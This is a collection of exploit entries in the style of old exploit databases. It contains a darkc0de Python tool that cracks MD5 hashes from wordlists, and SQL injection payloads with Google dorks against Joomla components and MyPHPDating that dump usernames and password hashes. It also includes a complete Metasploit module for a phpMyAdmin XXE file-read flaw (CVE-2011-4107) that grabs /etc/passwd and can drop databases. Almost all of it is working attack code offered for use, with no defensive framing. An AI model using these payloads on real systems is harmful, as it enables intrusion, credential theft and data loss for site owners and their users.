MD5 MySQL Brute Forcer

#!/usr/bin/env python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
#
# md5 MySQL Database BruteForce AllinOne python v 1.1
# python by low1z feb2009
# idea & php design froz3n @ darkc0de
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# darkc0de Crew
# www.darkc0de.com
# code low1z
#
# Greetz to
# d3hydr8, rsauron, baltazar, inkubus, kopele
# and the rest of the Darkc0de members
#
import MySQLdb, sys, re, md5, time
host     = 'YOUR-MYSQLSERVER-IP-HERE'
username = 'YOUR-MYSQLUSERNAME-HERE'
password = 'YOUR-MYSQLPASSWD-HERE'
dbname   = 'md5db'
onloadDBstatus = 0
version = '1.1_feb09'
db = MySQLdb.connect(host=host, user=username, passwd=password)
def dbconnect():
    csr = db.cursor()
    return(csr)
def timer():
    now = time.localtime(time.time())
    return time.asctime(now)
def setupdb():
    csr = dbconnect()
    try:
        csr.execute("CREATE DATABASE "+dbname)
        print "Database:", dbname, "created"
    except MySQLdb.Error, e:
        print "Error %s" % (e.args[1])
        sys.exit(1)
    try:
        csr.execute("CREATE TABLE "+dbname+".data (id INT( 255 ) NOT NULL AUTO_INCREMENT ,plain TEXT NOT NULL ,md5 VARCHAR( 255 ) NOT NULL ,PRIMARY KEY ( id ) , UNIQUE ( md5 )) ENGINE = MYISAM;")
        print "Tables in db:", dbname, "created, Database ready to use!"
    except MySQLdb.Error, e:
        print "Error %s" % (e.args[1])
        sys.exit(1)
def insertwl():
    counter = 0
    try:
        words = open(wordlist, "r")
    except(IOError):
        print "Error: check", wordlist
        sys.exit(1)
    dupes = 0
    print "Inserting Wordlist, Skipping Dupes....may take ages"
    print "\nStart :", timer()
    for word in words.read().split('\n'):
        hash = md5.new(word).hexdigest()
        counter = counter+1
        try:
            csr = dbconnect()
            csr.execute("INSERT INTO "+dbname+".data (plain, md5)VALUES ('"+str(word)+"', '"+str(hash)+"');")
        except MySQLdb.Error, e:
            dupes = dupes+1
    print "\nDupes :", dupes
    print "\nDone  :", timer()
def statusdb():
    try:
        csr = dbconnect()
        csr.execute("SELECT COUNT(id) AS num FROM "+dbname+".data")
        dbcount = csr.fetchone()
        return dbcount[0]
        csr.close()
    except MySQLdb.Error, e:
        print "Error %s" % (e.args[1])
        sys.exit(1)
def dropdb():
    csr = dbconnect()
    try:
        csr.execute("DROP DATABASE "+dbname)
        print "Database:", dbname, "deleted"
    except MySQLdb.Error, e:
        print "Error %s" % (e.args[1])
        sys.exit(1)
def single(sshash):
    csr = dbconnect ()
    csr.execute("SELECT plain FROM "+dbname+".data WHERE md5 = '"+sshash+"'")
    dset = csr.fetchone()
    if dset == None:
        print sshash, " : ", "not in DB"
    else:
        print sshash, " : ", dset[0]
    csr.close()
def multi():
    try:
        sshashs = open(md5file, "r").readlines()
        for sshash in sshashs:
            sshash = sshash.replace("\n","")
            single(sshash)
    except(IOError):
        print "Check your Filepath!!\n"
def helpme():
    print "HELP - Args\n"
    print " -h / -help      |   bring up this screen"
    print " -s / -setupdb   |   initial db installation"
    print " -w / -wordlist  |   insert wordlist into db eg. -w <wordlist.txt>"
    print " -d / -dropdb    |   delete database"
    print " -ss / -single   |   search db for given hash eg. >python md5db.py -ss <hash>"
    print " -ms / - multi   |   takes a list of md5's for cracking eg. >python md5db -ms <hashfile>"
    print " -c / -count     |   count database entries\n"
print "                 _ ___     _ _     "
print "        _ __  __| | __| __| | |__  "
print "       | '  \/ _` |__ \/ _` | '_ \ "
print "       |_|_|_\__,_|___/\__,_|_.__/ "
print "+--------------------------------------+"
print "| + Python/MySQL Bruteforce AllinOne + |"
print "|                        |"
print "| + md5db11.py", version, "              |"
print "| + php & concept by froz3n            |"
print "| + python by low1z                    |"
print "|                        |"
print "| + use -h for help               |"
print "+--------------------------------------+\n"
if onloadDBstatus == 1:
    try:
        print "\t",statusdb(), " Sets in DB\n"
    except MySQLdb.Error, e:
        print "Error, Database is not in place, use -s option to create it"
if len(sys.argv) <= 1:
    print "\tuse -help to get options\n"
    sys.exit(1)
for arg in sys.argv[1:]:
    if arg.lower() == "-h" or arg.lower() == "-help":
        helpme()
    if arg.lower() == "-s" or arg.lower() == "-setupdb":
        setupdb()
    if arg.lower() == "-d" or arg.lower() == "-dropdb":
        dropdb()
    if arg.lower() == "-c" or arg.lower() == "-count":
        print "\t",statusdb(), " Sets in DB\n"
    if arg.lower() == "-ss" or arg.lower() == "single":
        try:
            sshash = sys.argv[2]
            if len(sshash) != 32:
                print "invalid md5 supplied, check your input!\n"
                sys.exit(1)
            single(sshash)
        except(IndexError):
            print "Error: check hash ...\n"
    if arg.lower() == "-w" or arg.lower() == "-wordlist":
        try:
            wordlist = sys.argv[2]
            insertwl()
        except(IndexError):
            print "Error: check wordlist file\n"
    if arg.lower() == "-ms" or arg.lower() == "-multi":
        try:
            md5file = sys.argv[2]
            multi()
        except(IndexError):
            print "Error: check md5 plain import file...\n"

Joomla Component (com_dshop) SQL Injection Vulnerability

################################################################################################
#  Exploit Title: Joomla Component (com_dshop) SQL Injection Vulnerability
#
#  Google Dork : inurl:com_dshop
#
#  Status : High-Risk
#
#  Script Page : null
#
#  Reference : http://www.securityfocus.com/bid/47971/info
################################################################################################
#
#  SQL Vulnerability
#
#  http://127.0.0.1/[PATH]/index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 (SQL)
#
#  SQL Exploit
#
#     +union+select+0,1,2,group_concat(username,0x3a,password),4,5,6,7+from+jos_users
#
################################################################################################

phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection

# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize
        super(
            'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
            'Version'     => '1.0',
            'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
            The attacker must be logged in to MySQL via phpMyAdmin.
            Works on Windows and Linux Versions 3.3.X and 3.4.X},
            'References'  =>
                [
                    [ 'CVE', '2011-4107' ],
                                        [ 'OSVDB', '76798' ],
                                        [ 'BID', '50497' ],
                                        [ 'URL', 'http://secforce.com/research/'],
                ],
            'Author'      => [ 'Marco Batista' ],
            'License'     => MSF_LICENSE
            )

        register_options(
            [
                Opt::RPORT(80),
                OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
                OptString.new('USER', [ true,  "Username", 'root']),
                OptString.new('PASS', [ false,  "Password", 'password']),
                OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
                OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
                OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
                OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
            ],self.class)
    end

    def loginprocess
        # HTTP GET TO GET SESSION VALUES
        getresponse = send_request_cgi({
            'uri'     => datastore['APP']+'/index.php',
            'method'  => 'GET',
            'version' => '1.1',
            }, 25)

        if (getresponse.nil?)
            print_error("no response for #{ip}:#{rport}")
        elsif (getresponse.code == 200)
            print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
        elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
            print_status("Received 302 to #{getresponse.headers['Location']}")
        else
            print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
        end

        valuesget = getresponse.headers["Set-Cookie"]
        varsget = valuesget.split(" ")

        #GETTING THE VARIABLES NEEDED
        phpMyAdmin = varsget.grep(/phpMyAdmin/).last
        pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
        # END HTTP GET

        # LOGIN POST REQUEST TO GET COOKIE VALUE
        postresponse = send_request_cgi({
            'uri'     => datastore['APP']+'/index.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Content-Type' => 'application/x-www-form-urlencoded',
                    'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
                            },
            'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
            }, 25)    

        if (postresponse["Location"].nil?)
            print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
            tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last         
        else
            tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
        end
        
        
        valuespost = postresponse.headers["Set-Cookie"]
        varspost = valuespost.split(" ")
        
        #GETTING THE VARIABLES NEEDED
        pmaUser = varspost.grep(/pmaUser-1/).last
        pmaPass = varspost.grep(/pmaPass-1/).last

        return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
        # END OF LOGIN POST REQUEST
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
            print_error(e.message)
        rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
            print_error(e.message)
    end

    def readfile(cookie,tokenvalue)
        #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
        getfiles = send_request_cgi({
            'uri'     => datastore['APP']+'/export.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Cookie' => cookie
                        },
            'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
            }, 25)
        
        if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
            print_error("Error reading the file... not enough privilege? login error?")       
        else
            print_status("#{getfiles.body}")
        end
    end


    def dropdatabase(cookie,tokenvalue)
        dropdb = send_request_cgi({
            'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
            'method'  => 'GET',
            'version' => '1.1',
            'headers' =>{
                    'Cookie' => cookie
                        },
            }, 25)

            print_status("Dropping database: "+datastore['DB'])
    end

    def run
        cookie,tokenvalue = loginprocess()
    
        print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
    
        craftedXML =  "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
        craftedXML << tokenvalue+"\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
        craftedXML << "server\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
        craftedXML << "Content-Type: text/xml\n\n"
        craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
        craftedXML << "<!DOCTYPE ficheiro [  \n"
        craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
        craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
        craftedXML << "    <pma:structure_schemas>\n"
        craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
        craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"
        craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
        craftedXML << "            </pma:table>\n"
        craftedXML << "        </pma:database>\n"
        craftedXML << "    </pma:structure_schemas>\n"
        craftedXML << "    <database name=\""+datastore['DB']+"\">\n"
        craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"
        craftedXML << "            <column name=\"file\">&conteudo;</column>\n"
        craftedXML << "        </table>\n"
        craftedXML << "    </database>\n"
        craftedXML << "</pma_xml_export>\n\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
        craftedXML << "xml\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
        craftedXML << ",\n\n"
        craftedXML << "------WebKitFormBoundary3XPL01T--"
        
    
        print_status("Grabbing that #{datastore['FILE']} you want...")
        res = send_request_cgi({
            'uri'     => datastore['APP']+'/import.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
                    'Cookie' => cookie
                        },
            'data'    => craftedXML
        }, 25)

        readfile(cookie,tokenvalue)

        if (datastore['DROP'] == "true")
            dropdatabase(cookie,tokenvalue)
        else
            print_status("Database was not dropped: "+datastore['DB'])        
        end

    end
end

Joomla Discussions Component (com_discussions) SQL Injection

#
# Title     : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 17/01/2012
# Risk      : High
# Software  : http://extensions.joomla.org/extensions/communication/forum/13560
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=[SQLi]
#
# Example   :
#
# 1. [Get Database Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
# 2. [Get  Tables  Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F7574706F7374715F6F65646576)--+a
# 3. [Get      Username]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.username as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
# 4. [Get      Password]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.password as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
#

MyPHPDating 1.0 SQL Injection Vulnerability

Software : MyPHPDating version 1.0
Date     : 1/1/2012
Vendor   : http://www.phponlinedatingsoftware.com/
Demo     : http://www.phponlinedatingsoftware.com/demo.htm
Get App. : http://www.phponlinedatingsoftware.com/order.htm
Dork     : "Powered by MyPHPDating"
Author   : ITTIHACK
Home     : http://ittihack.com

Vulnerable file : page.php

explots: http://localhost/[path]/page.php?page_id=[SQL] 
       : http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())-- 

SITE INFO